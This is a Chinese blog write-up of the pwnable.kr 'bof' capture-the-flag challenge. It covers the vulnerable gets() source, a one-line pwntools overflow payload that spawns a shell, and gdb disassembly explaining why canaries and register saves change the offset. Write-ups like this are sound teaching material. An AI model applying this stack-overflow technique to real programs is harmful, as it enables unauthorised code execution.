Pwnable.kr学习——bof

栏目: 编程语言 · 发布时间: 5年前

内容简介:虽然是一道比较简单的栈溢出题目,但是第一次实际接触栈溢出也花了不少力气,理清不少问题。这道题一样提供了源代码很容易看出漏洞成因自傲与gets()函数没有对输入长度进行判断,导致溢出的存在从而可以覆盖key的值。

虽然是一道比较简单的栈溢出题目,但是第一次实际接触栈溢出也花了不少力气,理清不少问题。

bof

这道题一样提供了源代码

#include <stdio.h>
#include <string.h>
#include <stdlib.h>
void func(int key){
    char overflowme[32];
    printf("overflow me : ");
    gets(overflowme);// smash me!
    if(key == 0xcafebabe){
        system("/bin/sh");
    }
    else{
        printf("Nah..\n");
    }
}

int main(int argc, char* argv[]){
    func(0xdeadbeef);
    return 0;
}

很容易看出漏洞成因自傲与gets()函数没有对输入长度进行判断,导致溢出的存在从而可以覆盖key的值。

根据函数调用栈的结构如下:

Pwnable.kr学习——bof

可以直接算出间距length

length = len(overflowme) + len(previous_ebp) + len(return_address)=32 + 4 + 4 = 40

用pwntools发送

p.sendline("A"*40 + p32(0xcafebabe))

发现并不能成功,查看网上的wp发现这道题的间距其实有52,但是根据函数调用栈直接计算应该是40才对

为什么是52

用gdb调试bof程序,查看其汇编代码有

gdb-peda$ disassemble func
Dump of assembler code for function func:
       0x5655562c <+0>:    push   ebp
       0x5655562d <+1>:    mov    ebp,esp
       0x5655562f <+3>:    sub    esp,0x48
       0x56555632 <+6>:    mov    eax,gs:0x14
       0x56555638 <+12>:    mov    DWORD PTR [ebp-0xc],eax
       0x5655563b <+15>:    xor    eax,eax
       0x5655563d <+17>:    mov    DWORD PTR [esp],0x5655578c
       0x56555644 <+24>:    call   0xf7e5a360 <puts>
       0x56555649 <+29>:    lea    eax,[ebp-0x2c]
       0x5655564c <+32>:    mov    DWORD PTR [esp],eax
       0x5655564f <+35>:    call   0xf7e59ae0 <gets>
       0x56555654 <+40>:    cmp    DWORD PTR [ebp+0x8],0xcafebabe     //if(key == 0xcafebabe)
       0x5655565b <+47>:    jne    0x5655566b <func+63>
       0x5655565d <+49>:    mov    DWORD PTR [esp],0x5655579b
       0x56555664 <+56>:    call   0xf7e2fd10 <system>
       0x56555669 <+61>:    jmp    0x56555677 <func+75>
       0x5655566b <+63>:    mov    DWORD PTR [esp],0x565557a3
       0x56555672 <+70>:    call   0xf7e5a360 <puts>
       0x56555677 <+75>:    mov    eax,DWORD PTR [ebp-0xc]
       0x5655567a <+78>:    xor    eax,DWORD PTR gs:0x14
       0x56555681 <+85>:    je     0x56555688 <func+92>
       0x56555683 <+87>:    call   0xf7efaee0 <__stack_chk_fail>
       0x56555688 <+92>:    leave  
       0x56555689 <+93>:    ret    
End of assembler dump.

从汇编代码中可以看到代码执行过程中对栈所执行的操作,在if函数执行前,一共对栈进行了如下操作

0x5655562c <+0>:    push   ebp
0x56555638 <+12>:   mov    DWORD PTR [ebp-0xc],eax
0x5655563d <+17>:   mov    DWORD PTR [esp],0x5655578c
0x5655564c <+32>:   mov    DWORD PTR [esp],eax

第一步操作,是将上个函数的栈顶压栈存为当前函数的栈底,第四个操作,是将栈顶指针指向ebp-0x2c以进行gets操作

其中第三个操作中esp的值为ebp-0x48,在overflowme所在栈空间以下不用考虑,但是第二个操作直接对ebp-0xc进行赋值就显得很奇怪,而且ebp-0x2c与ebp-0xc之间刚好隔了32个字节,说明多出的12字节就是来源于这里

网上搜索后发现这十二个字节来源于Canary防护机制,取了gs:0x14的值作为校验值,与汇编中的语句吻合

0x56555632 <+6>:    mov    eax,gs:0x14

用checksec语句查看防护机制,发现Canary确实存在

gdb-peda$ checksec
CANARY    : ENABLED
FORTIFY   : disabled
NX        : ENABLED
PIE       : ENABLED
RELRO     : Partial

所以52字节中多出的12字节就是来源于Canary。

引申问题

换句话说,如果关闭Canary,那间隔应该刚好是40字节。重新编译bof,关闭栈保护

$ gcc -fno-stack-protector -m32 -g -o bof1 bof.c

对bof1进行溢出操作发现还是失败,说明间隔仍然不是40字节,这就与之前的猜测相违背了,查看汇编代码有

gdb-peda$ disassemble func
Dump of assembler code for function func:
       0x565555ad <+0>:    push   ebp
       0x565555ae <+1>:    mov    ebp,esp
       0x565555b0 <+3>:    push   ebx
       0x565555b1 <+4>:    sub    esp,0x24
       0x565555b4 <+7>:    call   0x565554b0 <__x86.get_pc_thunk.bx>
       0x565555b9 <+12>:    add    ebx,0x1a13
 => 0x565555bf <+18>:    sub    esp,0xc
       0x565555c2 <+21>:    lea    eax,[ebx-0x18ec]
       0x565555c8 <+27>:    push   eax
       0x565555c9 <+28>:    call   0x56555410 <printf@plt>
       0x565555ce <+33>:    add    esp,0x10
       0x565555d1 <+36>:    sub    esp,0xc
       0x565555d4 <+39>:    lea    eax,[ebp-0x28]
       0x565555d7 <+42>:    push   eax
       0x565555d8 <+43>:    call   0x56555420 <gets@plt>
       0x565555dd <+48>:    add    esp,0x10
       0x565555e0 <+51>:    cmp    DWORD PTR [ebp+0x8],0xcafebabe
       0x565555e7 <+58>:    jne    0x565555fd <func+80>
       0x565555e9 <+60>:    sub    esp,0xc
       0x565555ec <+63>:    lea    eax,[ebx-0x18dd]
       0x565555f2 <+69>:    push   eax
       0x565555f3 <+70>:    call   0x56555440 <system@plt>
       0x565555f8 <+75>:    add    esp,0x10
       0x565555fb <+78>:    jmp    0x5655560f <func+98>
       0x565555fd <+80>:    sub    esp,0xc
       0x56555600 <+83>:    lea    eax,[ebx-0x18d5]
       0x56555606 <+89>:    push   eax
       0x56555607 <+90>:    call   0x56555430 <puts@plt>
       0x5655560c <+95>:    add    esp,0x10
       0x5655560f <+98>:    nop
       0x56555610 <+99>:    mov    ebx,DWORD PTR [ebp-0x4]
       0x56555613 <+102>:    leave  
       0x56555614 <+103>:    ret    
End of assembler dump.

直接计算间隔为0x30,比预估距离多了8字节,在汇编代码可以发现,存入overflowme数组之前,栈空间内存入了ebx,并调用了__x86.get_pc_thunk.bx函数,这个函数的作用就是把esp的值保存在eax(PIC寄存器)中, 以便寻址,因为32位下不支持直接访问PC寄存器,所以需要这样间接调用.

=> 0x565554b0 <__x86.get_pc_thunk.bx>:      mov    ebx,DWORD PTR [esp]
      0x565554b3 <__x86.get_pc_thunk.bx+3>:  ret

所以在编译器的作用下,内存间距不一定可以按照理论情况直接进行推算,还是需要实际查看才行。


以上就是本文的全部内容,希望对大家的学习有所帮助,也希望大家多多支持 码农网

查看所有标签

猜你喜欢:

本站部分资源来源于网络,本站转载出于传递更多信息之目的,版权归原作者或者来源机构所有,如转载稿涉及版权问题,请联系我们

UML基础与Rose建模案例

UML基础与Rose建模案例

吴建 / 人民邮电出版社 / 2004-10 / 29.00元

《UML 基础与Rose建模案例》介绍了用UML(统一建模语言)进行软件建模的基础知识以及Rational Rose工具的使用方法,其中,前8章是基础部分,对软件工程思想、UML的相关概念、Rational Rose工具以及RUP软件过程等进行了详细的介绍;后3章是案例部分,通过3个综合实例,对UML建模(以Rose为实现工具)的全过程进行了剖析;最后的附录中给出了UML中常用的术语、标准元素和元......一起来看看 《UML基础与Rose建模案例》 这本书的介绍吧!

JSON 在线解析
JSON 在线解析

在线 JSON 格式化工具

图片转BASE64编码
图片转BASE64编码

在线图片转Base64编码工具

HTML 编码/解码
HTML 编码/解码

HTML 编码/解码